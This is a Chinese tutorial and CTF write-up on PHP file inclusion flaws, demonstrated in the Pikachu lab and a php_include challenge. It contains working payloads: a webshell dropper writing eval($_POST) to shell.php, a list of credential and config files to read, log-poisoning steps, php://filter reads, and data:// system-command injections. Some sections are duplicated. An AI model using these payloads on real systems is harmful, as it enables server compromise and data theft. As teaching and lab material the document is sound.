一、文件包含漏洞原理
PHP语言提供的文件包含功能太强大,太灵活,所以包含漏洞常常出现在PHP中,但不只是PHP中有包含漏洞,其他语言也有包含漏洞,如java等,本篇主要以PHP为例讲解原理及其利用技巧:
PHP提供4个文件包含的函数
1、include():找不到文件时继续执行,只会警告
2、include_once():与include()类似,只是如果文件中的代码已被包含,则不会再次包含
3、require():找不到文件时会爆出致命的错误;
4、require_once():与上述的类似;
1、本地包含
? 仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
示列:
可以看到file参数等于参数名,具体看下代码如何实现:
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
可以看到没有做任何的措施去过滤,而下面有过滤的方案:白名单,只有符合要求的文件名才能北包含,这时我们试图去包含本地的文件获取信息:
随意的将文件名改为:file3.php
就可以随意的包含本地的文件;
2、远程包含:
? 能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
? 因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
远程文件包含需要将allow_url_include=On;
示列:
我们试着包含腾讯云服务器上的目录下phpinfo.php文件:
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://124.223.169.253/phpinfo.php&submit=%E6%8F%90%E4%BA%A4#
二、漏洞的利用
在包含一个不存在的文件时,有时候会爆出文件的绝对路径:
1、读取敏感文件
Unix/liux系统
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初始安装密码
C:\\Program files\mysql\my.ini //mysql配置
C:\\Program Filed\mysql\data\mysql\user.MYD //Mysql root
C:\\windows\php.ini //php配置信息
C:\\windows\my.ini //Mysql配置文件
尝试读取apach错误日志文件:
2、远程包含shell
如果目标主机的allow_url_include是激活的,可以包含远程一句话木马:
<? fputs(fopen("shell.php","w"),"<?php eval($_POST[shell]);?>")?>
包含这个文件时,会自动的生成shell.php文件;
示列:
3、本地包含配合文件上传
很多网站提供文件上传功能,比如:头像,文档等;假设一句话木马图片到服务器中,有路径显示:
图片代码为:
<? fputs(fopen("shell.php","w"),"<?php eval($_POST[shell]);?>")?>
只需要去包含这张图片即可在index.php目录下生成shell.php
4、使用PHP封装协议
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
php协议类型
这里示列php协议读取文件:
最常使用的一个伪协议,一般可以利用进行任意文件读取。
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
参数
名称 | 描述 |
---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 | read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 | write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 | <;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
<?php
include($_GET['file'])
?>
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=php://filter/read=convert.base64-encode/resource=../../../../../1.txt&submit=%E6%8F%90%E4%BA%A4
输出的内容为base-64编码,我们解码:
与我们服务器主机上的进行比较:
5、含apach日志文件
Apach运行后一般会生成两个日志文件,访问日志文件access.log和错误日志error.log,Apach日志记录了客户端每次请求及服务器响应信息: 我们访问目标服务器后面加上<?php phpinfo();?> 但是<>已经被转码了,我们抓包:
我们改会<>后提交请求,然后查看服务器日志:
可以发现没有被转义;
当我们再次包含这个日志文件时:
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../../Extensions/Apache2.4.39/logs/error.log&submit=%E6%8F%90%E4%BA%A4
发现已经被解析,当我们使用一句话木马时,可以获得shell了;可见危害还是非常大的;
6、截断包含
我们提交的是php文件,我们发现报错,不存在文件,这时候我们把php去掉;
发现已经正常回现了;
%00,是截断符号,这种方法只是用于magic_quotes_gpc=Off时才可以使用,此函数会对单引号,双引号,反斜杠,NULL进行转义
是非常大的;
6、截断包含
[外链图片转存中…(img-sysOk5HP-1648034770867)]
我们提交的是php文件,我们发现报错,不存在文件,这时候我们把php去掉;
[外链图片转存中…(img-To3c8LFI-1648034770868)]
发现已经正常回现了;
%00,是截断符号,这种方法只是用于magic_quotes_gpc=Off时才可以使用,此函数会对单引号,双引号,反斜杠,NULL进行转义
file1.php%00将会对后面的进行截断;
三、攻防世界php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
分析代码,strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回str2在str1中首次出现的地址;否则,返回NULL。如果有php:// 则返回首地址,并且用空格代替php://,要想办法绕过它,可以大写进行绕过; 1、首先使用input协议查看php版本信息以及配置信息; 看到回显: 2、使用data://协议读取文件,执行命令: 首先看php system函数:
data://text/plain,<?php system(ls);?>
打开文件:
data://text/plain,<?php system(cat fl4gisisish3r3.php);?>
发现没有回显,尝试用php://filter读取文件
PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php
拿到flag,解码:
|